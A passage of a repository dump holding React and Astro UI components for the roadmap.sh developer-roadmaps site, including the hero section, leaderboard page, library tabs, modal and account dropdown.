     >\n          <Plus size={16} />\n          Start a new project\n        </a>\n      </HeroItemsGroup>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/HeroSection/HeroItemsGroup.tsx",
    "content": "import { useEffect, useState, type ReactNode } from 'react';\nimport { cn } from '../../lib/classname';\nimport { HeroTitle } from './HeroTitle';\n\ntype HeroItemsGroupProps = {\n  icon: any;\n  isLoading?: boolean;\n  isEmpty?: boolean;\n  emptyTitle?: ReactNode;\n  title: string | ReactNode;\n  rightContent?: ReactNode;\n  children?: ReactNode;\n  className?: string;\n};\n\nexport function HeroItemsGroup(props: HeroItemsGroupProps) {\n  const {\n    icon,\n    isLoading = false,\n    isEmpty = false,\n    emptyTitle,\n    title,\n    rightContent,\n    children,\n    className,\n  } = props;\n\n  const storageKey = `hero-group-${title}-collapsed`;\n  const [isCollapsed, setIsCollapsed] = useState(true);\n\n  function isCollapsedByStorage() {\n    const stored = localStorage.getItem(storageKey);\n\n    return stored === 'true';\n  }\n\n  useEffect(() => {\n    setIsCollapsed(isCollapsedByStorage());\n  }, [isLoading]);\n\n  const isLoadingOrCollapsedOrEmpty = isLoading || isCollapsed || isEmpty;\n\n  return (\n    <div\n      className={cn(\n        'border-b border-gray-800/50',\n        {\n          'py-4': !isLoadingOrCollapsedOrEmpty,\n          'py-4 ': isLoadingOrCollapsedOrEmpty,\n        },\n        className,\n      )}\n    >\n      <div className=\"container\">\n        <HeroTitle\n          icon={icon}\n          isLoading={isLoading}\n          isEmpty={isEmpty}\n          emptyTitle={emptyTitle}\n          title={title}\n          rightContent={rightContent}\n          isCollapsed={isCollapsed}\n          onToggleCollapse={() => {\n            setIsCollapsed(!isCollapsed);\n            localStorage.setItem(storageKey, (!isCollapsed).toString());\n          }}\n        />\n        {!isLoadingOrCollapsedOrEmpty && (\n          <div className=\"mt-4 grid grid-cols-1 gap-2.5 sm:grid-cols-2 md:grid-cols-3\">\n            {children}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/HeroSection/HeroProject.tsx",
    "content": "import { ThumbsUp } from 'lucide-react';\nimport { cn } from '../../lib/classname.ts';\nimport { getRelativeTimeString } from '../../lib/date';\nimport type { ProjectStatusDocument } from '../Projects/ListProjectSolutions.tsx';\n\ntype HeroProjectProps = {\n  project: ProjectStatusDocument & {\n    title: string;\n  };\n};\n\nexport function HeroProject({ project }: HeroProjectProps) {\n  return (\n    <a\n      href={`/projects/${project.projectId}`}\n      className=\"group relative flex flex-col justify-between gap-2 rounded-md border border-slate-800 bg-slate-900 p-3.5 hover:border-slate-600\"\n    >\n      <div className=\"relative z-10 flex items-start justify-between gap-2\">\n        <h3 className=\"truncate font-medium text-slate-300 group-hover:text-slate-100\">\n          {project.title}\n        </h3>\n        <span\n          className={cn(\n            'absolute -right-2 -top-2 flex shrink-0 items-center gap-1 rounded-full text-xs uppercase tracking-wide',\n            {\n              'text-green-600/50': project.submittedAt && project.repositoryUrl,\n              'text-yellow-600': !project.submittedAt || !project.repositoryUrl,\n            },\n          )}\n        >\n          {project.submittedAt && project.repositoryUrl ? 'Done' : ''}\n        </span>\n      </div>\n      <div className=\"relative z-10 flex items-center gap-2 text-xs text-slate-400\">\n        {project.submittedAt && project.repositoryUrl && (\n          <span className=\"flex items-center gap-1\">\n            <ThumbsUp className=\"h-3 w-3\" />\n            {project.upvotes}\n          </span>\n        )}\n        {project.startedAt && (\n          <span>Started {getRelativeTimeString(project.startedAt)}</span>\n        )}\n      </div>\n\n      <div className=\"absolute inset-0 rounded-md bg-linear-to-br from-slate-800/50 via-transparent to-transparent\" />\n      {project.submittedAt && project.repositoryUrl && (\n        <div className=\"absolute inset-0 rounded-md bg-linear-to-br from-green-950/20 via-transparent to-transparent\" />\n      )}\n    </a>\n  );\n} "
  },
  {
    "path": "src/components/HeroSection/HeroRoadmap.tsx",
    "content": "import { cn } from '../../lib/classname.ts';\nimport type { ResourceType } from '../../lib/resource-progress.ts';\nimport { MarkFavorite } from '../FeaturedItems/MarkFavorite.tsx';\n\ntype ProgressRoadmapProps = {\n  url: string;\n  percentageDone: number;\n  allowFavorite?: boolean;\n\n  resourceId: string;\n  resourceType: ResourceType;\n  resourceTitle: string;\n  isFavorite?: boolean;\n\n  isTrackable?: boolean;\n  isNew?: boolean;\n};\n\nexport function HeroRoadmap(props: ProgressRoadmapProps) {\n  const {\n    url,\n    percentageDone,\n    resourceType,\n    resourceId,\n    resourceTitle,\n    isFavorite,\n    allowFavorite = true,\n    isTrackable = true,\n    isNew = false,\n  } = props;\n\n  return (\n    <a\n      href={url}\n      className={cn(\n        'relative flex flex-col overflow-hidden rounded-md border p-3 text-sm text-slate-400 hover:text-slate-300',\n        {\n          'border-slate-800 bg-slate-900 hover:border-slate-600': isTrackable,\n          'border-slate-700/50 bg-slate-800/50 hover:border-slate-600/70':\n            !isTrackable,\n        },\n      )}\n    >\n      <span title={resourceTitle} className=\"relative z-20 truncate\">\n        {resourceTitle}\n      </span>\n\n      {isTrackable && (\n        <span\n          className=\"absolute bottom-0 left-0 top-0 z-10 bg-[#172a3a]\"\n          style={{ width: `${percentageDone}%` }}\n        ></span>\n      )}\n\n      {allowFavorite && (\n        <MarkFavorite\n          resourceId={resourceId}\n          resourceType={resourceType}\n          favorite={isFavorite}\n        />\n      )}\n\n      {isNew && (\n        <span className=\"absolute bottom-1.5 right-2 flex items-center rounded-br rounded-tl text-xs font-medium text-purple-300\">\n          <span className=\"mr-1.5 flex h-2 w-2\">\n            <span className=\"absolute inline-flex h-2 w-2 animate-ping rounded-full bg-purple-400 opacity-75\" />\n            <span className=\"relative inline-flex h-2 w-2 rounded-full bg-purple-500\" />\n          </span>\n          New\n        </span>\n      )}\n    </a>\n  );\n} "
  },
  {
    "path": "src/components/HeroSection/HeroSection.astro",
    "content": "---\nimport { FeatureAnnouncement } from \"../FeatureAnnouncement\";\n---\n\n<div\n  class='min-h-auto relative min-h-[192px] border-b border-b-[#1e293c] transition-all sm:min-h-[281px]'\n>\n  <div\n    class='container px-5 py-6 pb-14 text-left transition-opacity duration-300 sm:px-0 sm:py-20 sm:text-center'\n    id='hero-text'\n  >\n    <p class='-mt-4 mb-7 sm:-mt-10 sm:mb-4'>\n      <FeatureAnnouncement client:load />\n    </p>\n\n    <h1\n      class='mb-2 bg-linear-to-b from-amber-50 to-purple-500 bg-clip-text text-2xl font-bold text-transparent sm:mb-4 sm:text-5xl sm:leading-tight'\n    >\n      Developer Roadmaps\n    </h1>\n\n    <p class='hidden px-4 text-lg text-gray-400 sm:block'>\n      <span class='font-medium text-gray-400'>roadmap.sh</span> is a community effort\n      to create roadmaps, guides and other educational content to help guide developers\n      in picking up a path and guide their learnings.\n    </p>\n\n    <p class='text-md block px-0 text-gray-400 sm:hidden'>\n      Community created roadmaps, guides and articles to help developers grow in\n      their career.\n    </p>\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/HeroSection/HeroTitle.tsx",
    "content": "import type { ReactNode } from 'react';\nimport { Spinner } from '../ReactIcons/Spinner.tsx';\nimport { ChevronsDownUp, ChevronsUpDown } from 'lucide-react';\nimport { cn } from '../../lib/classname.ts';\n\ntype HeroTitleProps = {\n  icon: any;\n  isLoading?: boolean;\n  title: string | ReactNode;\n  rightContent?: ReactNode;\n  isCollapsed?: boolean;\n  onToggleCollapse?: () => void;\n  isEmpty?: boolean;\n  emptyTitle?: ReactNode;\n};\n\nexport function HeroTitle(props: HeroTitleProps) {\n  const {\n    isLoading = false,\n    title,\n    icon,\n    rightContent,\n    isCollapsed = false,\n    onToggleCollapse,\n    isEmpty = false,\n    emptyTitle,\n  } = props;\n\n  return (\n    <div className=\"flex items-center justify-between\">\n      <div className=\"flex items-center gap-3\">\n        <p\n          onClick={onToggleCollapse}\n          className=\"flex items-center cursor-default gap-0.5 text-sm text-gray-400\"\n        >\n          {!isLoading && icon}\n          {isLoading && (\n            <span className=\"mr-1.5\">\n              <Spinner />\n            </span>\n          )}\n          {!isEmpty ? title : emptyTitle || title}\n        </p>\n      </div>\n      <div className=\"flex items-center gap-2\">\n        {!isCollapsed && rightContent}\n\n        {!isLoading && !isEmpty && (\n          <button\n            onClick={onToggleCollapse}\n            className={cn(\n              'ml-2 inline-flex items-center gap-1 rounded-md bg-slate-800 py-0.5 pl-1 pr-1.5 text-xs uppercase tracking-wider text-slate-400 hover:bg-slate-700',\n              {\n                'bg-slate-800 text-slate-500 hover:bg-slate-800 hover:text-slate-400':\n                  !isCollapsed,\n              },\n            )}\n          >\n            {isCollapsed && (\n              <>\n                <ChevronsUpDown className=\"h-3.5 w-3.5\" /> Expand\n              </>\n            )}\n            {!isCollapsed && (\n              <>\n                <ChevronsDownUp className=\"h-3.5 w-3.5\" /> Collapse\n              </>\n            )}\n          </button>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Leaderboard/ErrorPage.tsx",
    "content": "import type { AppError } from '../../api/api';\nimport { ErrorIcon } from '../ReactIcons/ErrorIcon';\n\ntype ErrorPageProps = {\n  error: AppError;\n};\n\nexport function ErrorPage(props: ErrorPageProps) {\n  const { error } = props;\n\n  return (\n    <div className=\"min-h-screen bg-gray-50\">\n      <div className=\"container py-10\">\n        <div className=\"flex min-h-[250px] flex-col items-center justify-center px-5 py-3 sm:px-0 sm:py-20\">\n          <ErrorIcon additionalClasses=\"mb-4 h-8 w-8 sm:h-14 sm:w-14\" />\n          <h2 className=\"mb-1 text-lg font-semibold sm:text-xl\">\n            Oops! Something went wrong\n          </h2>\n          <p className=\"mb-3 text-balance text-center text-xs text-gray-800 sm:text-sm\">\n            {error?.message || 'An error occurred while fetching'}\n          </p>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Leaderboard/LeaderboardPage.tsx",
    "content": "import { type ReactNode, useState } from 'react';\nimport type {\n  LeaderboardUserDetails,\n  ListLeaderboardStatsResponse,\n} from '../../api/leaderboard';\nimport { cn } from '../../lib/classname';\nimport { FolderKanban, GitPullRequest, Users, Users2, Zap } from 'lucide-react';\nimport { TrophyEmoji } from '../ReactIcons/TrophyEmoji';\nimport { SecondPlaceMedalEmoji } from '../ReactIcons/SecondPlaceMedalEmoji';\nimport { ThirdPlaceMedalEmoji } from '../ReactIcons/ThirdPlaceMedalEmoji';\n\ntype LeaderboardPageProps = {\n  stats: ListLeaderboardStatsResponse;\n};\n\nexport function LeaderboardPage(props: LeaderboardPageProps) {\n  const { stats } = props;\n\n  return (\n    <div className=\"min-h-screen bg-gray-100\">\n      <div className=\"container pb-5 sm:pb-8\">\n        <h1 className=\"my-5 flex items-center text-lg font-medium text-black sm:mb-4 sm:mt-8\">\n          <Users2 className=\"mr-2 size-5 text-black\" />\n          Leaderboard\n        </h1>\n\n        <div className=\"grid gap-2 sm:gap-3 md:grid-cols-2\">\n          <LeaderboardLane\n            title=\"Longest Visit Streak\"\n            tabs={[\n              {\n                title: 'Active',\n                users: stats.streaks?.active || [],\n                emptyIcon: <Zap className=\"size-16 text-gray-300\" />,\n                emptyText: 'No users with streaks yet',\n              },\n              {\n                title: 'Lifetime',\n                users: stats.streaks?.lifetime || [],\n                emptyIcon: <Zap className=\"size-16 text-gray-300\" />,\n                emptyText: 'No users with streaks yet',\n              },\n            ]}\n          />\n          <LeaderboardLane\n            title=\"Projects Completed\"\n            tabs={[\n              {\n                title: 'This Month',\n                users: stats.projectSubmissions.currentMonth,\n                emptyIcon: <FolderKanban className=\"size-16 text-gray-300\" />,\n                emptyText: 'No projects submitted this month',\n              },\n              {\n                title: 'Lifetime',\n                users: stats.projectSubmissions.lifetime,\n                emptyIcon: <FolderKanban className=\"size-16 text-gray-300\" />,\n                emptyText: 'No projects submitted yet',\n              },\n            ]}\n          />\n          <LeaderboardLane\n            title=\"Most Referrals\"\n            tabs={[\n              {\n                title: 'This Month',\n                users: stats.referrals.currentMonth,\n                emptyIcon: <Users className=\"size-16 text-gray-300\" />,\n                emptyText: 'No referrals this month',\n              },\n              {\n                title: 'Lifetime',\n                users: stats.referrals.lifetime,\n                emptyIcon: <Users className=\"size-16 text-gray-300\" />,\n                emptyText: 'No referrals yet',\n              },\n            ]}\n          />\n          <LeaderboardLane\n            title=\"Top Contributors\"\n            subtitle=\"Past 2 weeks\"\n            tabs={[\n              {\n                title: 'This Month',\n                users: stats.githubContributors.currentMonth,\n                emptyIcon: <GitPullRequest className=\"size-16 text-gray-300\" />,\n                emptyText: 'No contributors this month',\n              },\n            ]}\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n\ntype LeaderboardLaneProps = {\n  title: string;\n  subtitle?: string;\n  tabs: {\n    title: string;\n    users: LeaderboardUserDetails[];\n    emptyIcon?: ReactNode;\n    emptyText?: string;\n  }[];\n};\n\nfunction LeaderboardLane(props: LeaderboardLaneProps) {\n  const { title, subtitle, tabs } = props;\n\n  const [activeTab, setActiveTab] = useState(tabs[0]);\n  const { users: usersToShow, emptyIcon, emptyText } = activeTab;\n\n  return (\n    <div className=\"flex min-h-[450px] flex-col overflow-hidden rounded-xl border bg-white shadow-xs\">\n      <div className=\"mb-3 flex items-center justify-between gap-2 px-3 py-3\">\n        <h3 className=\"text-sm font-medium\">\n          {title}{' '}\n          {subtitle && (\n            <span className=\"ml-1 text-sm font-normal text-gray-400\">\n              {subtitle}\n            </span>\n          )}\n        </h3>\n\n        {tabs.length > 1 && (\n          <div className=\"flex items-center gap-1\">\n            {tabs.map((tab) => {\n              const isActive = tab === activeTab;\n\n              return (\n                <button\n                  key={tab.title}\n                  onClick={() => setActiveTab(tab)}\n                  className={cn(\n                    'text-xs transition-colors py-0.5 px-2 rounded-full',\n                    {\n                      'text-white bg-black': isActive,\n                      'hover:bg-gray-200': !isActive,\n                    },\n                  )}\n                >\n                  {tab.title}\n                </button>\n              );\n            })}\n          </div>\n        )}\n      </div>\n\n      {usersToShow.length === 0 && emptyText && (\n        <div className=\"flex grow flex-col items-center justify-center p-8\">\n          {emptyIcon}\n          <p className=\"mt-4 text-sm text-gray-500\">{emptyText}</p>\n        </div>\n      )}\n\n      {usersToShow.length > 0 && (\n        <ul className=\"divide-y divide-gray-100 pb-4\">\n          {usersToShow.map((user, counter) => {\n            const avatar = user?.avatar\n              ? user?.avatar?.startsWith('http')\n                ? user?.avatar\n                : `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${user.avatar}`\n              : '/img/default-avatar.png';\n\n            const rank = counter + 1;\n            const isGitHubUser = avatar?.indexOf('github') > -1;\n\n            return (\n              <li\n                key={user.id}\n                className=\"flex items-center justify-between gap-1 py-2.5 pl-2 pr-5\"\n              >\n                <div className=\"flex min-w-0 items-center gap-2\">\n                  <span\n                    className={cn(\n                      'relative mr-1 flex size-6 shrink-0 items-center justify-center rounded-full text-xs tabular-nums',\n                      {\n                        'text-black': rank <= 3,\n                        'text-gray-400': rank > 3,\n                      },\n                    )}\n                  >\n                    {rank}\n                  </span>\n\n                  <img\n                    src={avatar}\n                    alt={user.name}\n                    className=\"mr-1 size-7 shrink-0 rounded-full\"\n                  />\n                  {isGitHubUser ? (\n                    <a\n                      href={`https://github.com/kamranahmedse/developer-roadmap/pulls?q=is%3Apr+is%3Aclosed+author%3A${user.name}`}\n                      target=\"_blank\"\n                      className=\"truncate font-medium underline underline-offset-2\"\n                    >\n                      {user.name}\n                    </a>\n                  ) : (\n                    <span className=\"truncate\">{user.name}</span>\n                  )}\n                  {rank === 1 ? (\n                    <TrophyEmoji className=\"size-5\" />\n                  ) : rank === 2 ? (\n                    <SecondPlaceMedalEmoji className=\"size-5\" />\n                  ) : rank === 3 ? (\n                    <ThirdPlaceMedalEmoji className=\"size-5\" />\n                  ) : (\n                    ''\n                  )}\n                </div>\n\n                <span className=\"text-sm text-gray-500\">{user.count}</span>\n              </li>\n            );\n          })}\n        </ul>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Library/LibraryTab.tsx",
    "content": "import {\n  BookOpen,\n  FileTextIcon,\n  MapIcon,\n  ListCheckIcon,\n  type LucideIcon,\n} from 'lucide-react';\nimport { cn } from '../../lib/classname';\n\ntype LibraryTabsProps = {\n  activeTab: 'guides' | 'courses' | 'roadmaps' | 'quizzes';\n};\n\nexport function LibraryTabs(props: LibraryTabsProps) {\n  const { activeTab } = props;\n\n  return (\n    <div className=\"mb-6 flex gap-2 border-b border-gray-300\">\n      <LibraryTabButton\n        isActive={activeTab === 'courses'}\n        icon={BookOpen}\n        label=\"Courses\"\n        href=\"/ai/courses\"\n      />\n      <LibraryTabButton\n        isActive={activeTab === 'guides'}\n        icon={FileTextIcon}\n        label=\"Guides\"\n        href=\"/ai/guides\"\n      />\n      <LibraryTabButton\n        isActive={activeTab === 'roadmaps'}\n        icon={MapIcon}\n        label=\"Roadmaps\"\n        href=\"/ai/roadmaps\"\n      />\n      <LibraryTabButton\n        isActive={activeTab === 'quizzes'}\n        icon={ListCheckIcon}\n        label=\"Quizzes\"\n        href=\"/ai/quizzes\"\n      />\n    </div>\n  );\n}\n\ntype LibraryTabButtonProps = {\n  isActive: boolean;\n  icon: LucideIcon;\n  label: string;\n  href: string;\n};\n\nfunction LibraryTabButton(props: LibraryTabButtonProps) {\n  const { isActive, icon: Icon, label, href } = props;\n\n  return (\n    <a\n      href={href}\n      className={cn(\n        'flex items-center gap-1 rounded-t-md px-4 py-2 text-sm font-medium',\n        isActive\n          ? 'bg-gray-300'\n          : 'bg-gray-100 transition-colors hover:bg-gray-200',\n      )}\n    >\n      <Icon className=\"h-4 w-4\" />\n      {label}\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/Loader.astro",
    "content": "---\nimport Icon from './AstroIcon.astro';\n---\n\n<div class='flex justify-center w-full'>\n  <Icon\n    icon='spinner'\n    class='h-6 w-6 sm:w-12 sm:h-12 text-gray-200 animate-spin fill-blue-600'\n  />\n</div>\n"
  },
  {
    "path": "src/components/LoadingChip.tsx",
    "content": "import { Loader2Icon } from 'lucide-react';\n\ntype LoadingChipProps = {\n  message?: string;\n};\n\nexport function LoadingChip(props: LoadingChipProps) {\n  const { message = 'Please wait...' } = props;\n\n  return (\n    <div className=\"flex items-center gap-2 rounded-lg border border-gray-300 bg-white py-2 pr-4 pl-3 text-sm\">\n      <Loader2Icon className=\"size-4 animate-spin text-gray-400\" />\n      <span>{message}</span>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/MarkdownFile.astro",
    "content": "---\ninterface Props {\n  class?: string;\n}\n\nconst { class: className } = Astro.props;\n---\n\n<div\n  class:list={[\n    'container prose prose-xl prose-h2:mb-3 prose-h2:mt-10 prose-h2:scroll-mt-5 prose-h2:text-balance prose-h2:text-3xl prose-h3:mt-2 prose-h4:text-2xl prose-h3:scroll-mt-5 prose-h3:text-balance prose-h4:text-balance prose-h5:text-balance prose-h5:font-medium prose-blockquote:font-normal prose-code:bg-transparent prose-img:mt-1 sm:prose-h2:scroll-mt-10 sm:prose-h3:scroll-mt-10',\n    className,\n  ]}\n>\n  <slot />\n</div>\n"
  },
  {
    "path": "src/components/Modal.tsx",
    "content": "import { type ReactNode, useRef } from 'react';\nimport { useOutsideClick } from '../hooks/use-outside-click';\nimport { useKeydown } from '../hooks/use-keydown';\nimport { cn } from '../lib/classname';\nimport { X } from 'lucide-react';\n\ntype ModalProps = {\n  onClose: () => void;\n  children: ReactNode;\n  overlayClassName?: string;\n  bodyClassName?: string;\n  wrapperClassName?: string;\n  hasCloseButton?: boolean;\n};\n\nexport function Modal(props: ModalProps) {\n  const {\n    onClose,\n    children,\n    bodyClassName,\n    wrapperClassName,\n    overlayClassName,\n    hasCloseButton = true,\n  } = props;\n\n  const popupBodyEl = useRef<HTMLDivElement>(null);\n\n  useKeydown('Escape', () => {\n    onClose();\n  });\n\n  useOutsideClick(popupBodyEl, () => {\n    onClose();\n  });\n\n  return (\n    <div\n      className={cn(\n        'fixed top-0 right-0 left-0 z-99 flex h-full items-center justify-center overflow-x-hidden overflow-y-auto bg-black/50',\n        overlayClassName,\n      )}\n    >\n      <div\n        className={cn(\n          'relative h-full w-full max-w-md p-4 md:h-auto',\n          wrapperClassName,\n        )}\n      >\n        <div\n          ref={popupBodyEl}\n          className={cn(\n            'relative h-full rounded-lg bg-white shadow-sm',\n            bodyClassName,\n          )}\n        >\n          {hasCloseButton && (\n            <button\n              onClick={onClose}\n              className=\"absolute top-4 right-4 text-gray-300 hover:text-gray-700\"\n            >\n              <X className=\"h-5 w-5\" />\n            </button>\n          )}\n          {children}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Navigation/AccountDropdown.astro",
    "content": "---\nimport Icon from '../AstroIcon.astro';\n---\n\n<div class='relative hidden' data-auth-required>\n  <button\n    class='flex h-8 w-38 items-center justify-center rounded-full bg-linear-to-r from-purple-500 to-purple-700 px-4 py-2 text-sm font-medium text-white hover:from-purple-500 hover:to-purple-600'\n    type='button'\n    data-account-button\n  >\n    <span class='inline-flex items-center gap-1.5'>\n      Account <span class=\"text-gray-300\">/</span> Teams\n      <Icon\n        icon='chevron-down'\n        class='relative top-[0.5px] h-3 w-3 stroke-[3px]'\n      />\n    </span>\n  </button>\n\n  <div\n    class='absolute right-0 z-50 mt-2 hidden w-48 rounded-md bg-slate-800 py-1 shadow-xl'\n    data-account-dropdown\n  >\n    <ul>\n      <li class='px-1'>\n        <a\n          href='/account'\n          class='block rounded-sm px-4 py-2 text-sm font-medium text-slate-100 hover:bg-slate-700'\n        >\n          Profile\n        </a>\n      </li>\n      <li class='px-1'>\n        <a\n          href='/account/friends'\n          class='block rounded-sm px-4 py-2 text-sm font-medium text-slate-100 hover:bg-slate-700'\n        >\n          Friends\n        </a>\n      </li>\n      <li class='px-1'>\n        <a\n          href='/team'\n          class='block rounded-sm px-4 py-2 text-sm font-medium text-slate-100 hover:bg-slate-700'\n        >\n          Teams\n        </a>\n      </li>\n      <li class='px-1'>\n        <button\n          class='block w-full rounded-sm px-4 py-2 text-left text-sm font-medium text-slate-100 hover:bg-slate-700'\n          type='button'\n          data-logout-button\n        >\n          Logout\n        </button>\n      </li>\n    </ul>\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/Navigation/AccountDropdown.tsx",
    "content": "import { useEffect, useRef, useState } from 'react';\nimport { ChevronDown, User } from 'lucide-react';\nimport { getUser, isLoggedIn } from '../../lib/jwt';\nimport { AccountDropdownList } from './AccountDropdownList';\nimport { DropdownTeamList } from './DropdownTeamList';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { CreateRoadmapModal } from '../CustomRoadmap/CreateRoadmap/CreateRoadmapModal.tsx';\nimport { OnboardingModal } from './OnboardingModal.tsx';\nimport { httpGet } from '../../lib/http.ts';\nimport { useToast } from '../../hooks/use-toast.ts';\nimport type { UserDocument } from '../../api/user.ts';\nimport { NotificationIndicator } from './NotificationIndicator.tsx';\nimport { OnboardingNudge } from '../OnboardingNudge.tsx';\n\nexport type OnboardingConfig = Pick<\n  UserDocument,\n  'onboarding' | 'onboardingStatus'\n>;\n\nexport function AccountDropdown() {\n  const toast = useToast();\n  const dropdownRef = useRef(null);\n\n  const [showDropdown, setShowDropdown] = useState(false);\n  const [isTeamsOpen, setIsTeamsOpen] = useState(false);\n  const [isCreatingRoadmap, setIsCreatingRoadmap] = useState(false);\n\n  const [isConfigLoading, setIsConfigLoading] = useState(false);\n  const [isOnboardingModalOpen, setIsOnboardingModalOpen] = useState(false);\n  const [onboardingConfig, setOnboardingConfig] = useState<\n    OnboardingConfig | undefined\n  >(undefined);\n  const currentUser = getUser();\n\n  const shouldShowOnboardingStatus =\n    currentUser?.onboardingStatus === 'pending' ||\n    onboardingConfig?.onboardingStatus === 'pending';\n\n  const loadOnboardingConfig = async () => {\n    if (!isLoggedIn() || !shouldShowOnboardingStatus) {\n      return;\n    }\n\n    setIsConfigLoading(true);\n    const { response, error } = await httpGet<OnboardingConfig>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-onboarding-config`,\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to load onboarding config');\n    }\n\n    setOnboardingConfig(response);\n  };\n\n  useOutsideClick(dropdownRef, () => {\n    setShowDropdown(false);\n    setIsTeamsOpen(false);\n    setIsConfigLoading(true);\n  });\n\n  useEffect(() => {\n    if (!isLoggedIn() || !showDropdown) {\n      return;\n    }\n\n    loadOnboardingConfig().finally(() => {\n      setIsConfigLoading(false);\n    });\n  }, [showDropdown]);\n\n  useEffect(() => {\n    const loadConfig = () => {\n      loadOnboardingConfig().finally(() => {\n        setIsConfigLoading(false);\n      });\n    };\n\n    window.addEventListener('visibilitychange', loadConfig);\n    return () => {\n      window.removeEventListener('visibilitychange', loadConfig);\n    };\n  }, []);\n\n  if (!isLoggedIn()) {\n    return null;\n  }\n\n  const onboardingDoneCount = Object.values(\n    onboardingConfig?.onboarding || {},\n  ).filter((status) => status !== 'pending').length;\n  const onboardingCount = Object.keys(\n    onboardingConfig?.onboarding || {},\n  ).length;\n\n  return (\n    <>\n      {shouldShowOnboardingStatus && !isOnboardingModalOpen && (\n        <OnboardingNudge\n          onStartOnboarding={() => {\n            loadOnboardingConfig().then(() => {\n              setIsOnboardingModalOpen(true);\n            });\n          }}\n        />\n      )}\n\n      <div className=\"relative z-90 animate-fade-in\">\n        {isOnboardingModalOpen && onboardingConfig && (\n          <OnboardingModal\n            onboardingConfig={onboardingConfig}\n            onClose={() => {\n              setIsOnboardingModalOpen(false);\n            }}\n            onIgnoreTask={(taskId, status) => {\n              loadOnboardingConfig().finally(() => {});\n            }}\n          />\n        )}\n        {isCreatingRoadmap && (\n          <CreateRoadmapModal\n            onClose={() => {\n              setIsCreatingRoadmap(false);\n            }}\n          />\n        )}\n\n        <button\n          className=\"relative flex h-8 w-40 items-center justify-center gap-1.5 rounded-full bg-linear-to-r from-purple-500 to-purple-700 px-4 py-2 text-sm font-medium text-white hover:from-purple-500 hover:to-purple-600\"\n          onClick={() => {\n            setIsTeamsOpen(false);\n            setShowDropdown(!showDropdown);\n          }}\n        >\n          <span className=\"inline-flex items-center\">\n            Account&nbsp;<span className=\"text-gray-300\">/</span>&nbsp;Teams\n          </span>\n          <ChevronDown className=\"h-4 w-4 shrink-0 stroke-[2.5px]\" />\n          {shouldShowOnboardingStatus && !showDropdown && (\n            <NotificationIndicator />\n          )}\n        </button>\n\n        {showDropdown && (\n          <div\n            ref={dropdownRef}\n            className=\"absolute right-0 z-50 mt-2 min-h-[152px] w-48 rounded-md bg-slate-800 py-1 shadow-xl\"\n          >\n            {isTeamsOpen ? (\n              <DropdownTeamList setIsTeamsOpen={setIsTeamsOpen} />\n            ) : (\n              <AccountDropdownList\n                onCreateRoadmap={() => {\n                  setIsCreatingRoadmap(true);\n                  setShowDropdown(false);\n                }}\n                setIsTeamsOpen={setIsTeamsOpen}\n                onOnboardingClick={() => {\n                  setIsOnboardingModalOpen(true);\n                  setShowDropdown(false);\n                }}\n                shouldShowOnboardingStatus={shouldShowOnboardingStatus}\n                isConfigLoading={isConfigLoading}\n                onboardingConfigCount={onboardingCount}\n                doneConfigCount={onboardingDoneCount}\n              />\n            )}\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/Navigation/AccountDropdownList.tsx",
    "content": "import {\n  ChevronRight,\n  LogOut,\n  Map,\n  Plus,\n  SquareUserRound,\n  User2,\n  Users2,\n  Handshake,\n} from 'lucide-react';\nimport { cn } from '../../lib/classname.ts';\nimport { NotificationIndicator } from './NotificationIndicator.tsx';\nimport { logout } from '../../lib/auth.ts';\n\ntype AccountDropdownListProps = {\n  onCreateRoadmap: () => void;\n  setIsTeamsOpen: (isOpen: boolean) => void;\n  onOnboardingClick: () => void;\n  isConfigLoading: boolean;\n  shouldShowOnboardingStatus?: boolean;\n  onboardingConfigCount: number;\n  doneConfigCount: number;\n};\n\nexport function AccountDropdownList(props: AccountDropdownListProps) {\n  const {\n    setIsTeamsOpen,\n    onCreateRoadmap,\n    onOnboardingClick,\n    isConfigLoading = true,\n    shouldShowOnboardingStatus = false,\n    onboardingConfigCount,\n    doneConfigCount,\n  } = props;\n\n  return (\n    <ul>\n      {shouldShowOnboardingStatus && (\n        <li className=\"mb-1 px-1\">\n          <button\n            className={cn(\n              'flex h-9 w-full items-center rounded-sm py-1 pr-2 pl-3 text-sm font-medium text-slate-100 hover:opacity-80',\n              isConfigLoading\n                ? 'striped-loader-darker flex border-slate-800 opacity-70'\n                : 'border-slate-600 bg-slate-700',\n            )}\n            onClick={onOnboardingClick}\n            disabled={isConfigLoading}\n          >\n            <NotificationIndicator className=\"-top-0.5 -left-0.5\" />\n\n            {isConfigLoading ? (\n              <></>\n            ) : (\n              <>\n                <Handshake className=\"mr-2 h-4 w-4 text-slate-400 group-hover:text-white\" />\n                <span>Onboarding</span>\n                <span className=\"ml-auto flex items-center gap-1.5 text-xs text-slate-400\">\n                  {doneConfigCount} of {onboardingConfigCount}\n                </span>\n              </>\n            )}\n          </button>\n        </li>\n      )}\n      <li className=\"px-1\">\n        <a\n          href=\"/account\"\n          className=\"group flex items-center gap-2 rounded-sm py-2 pr-2 pl-3 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n        >\n          <User2 className=\"h-4 w-4 stroke-[2.5px] text-slate-400 group-hover:text-white\" />\n          Account\n        </a>\n      </li>\n      <li className=\"px-1\">\n        <a\n          href=\"/account/update-profile\"\n          className=\"group flex items-center justify-between gap-2 rounded-sm py-2 pr-2 pl-3 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n        >\n          <span className=\"flex items-center gap-2\">\n            <SquareUserRound className=\"h-4 w-4 stroke-[2.5px] text-slate-400 group-hover:text-white\" />\n            My Profile\n          </span>\n        </a>\n      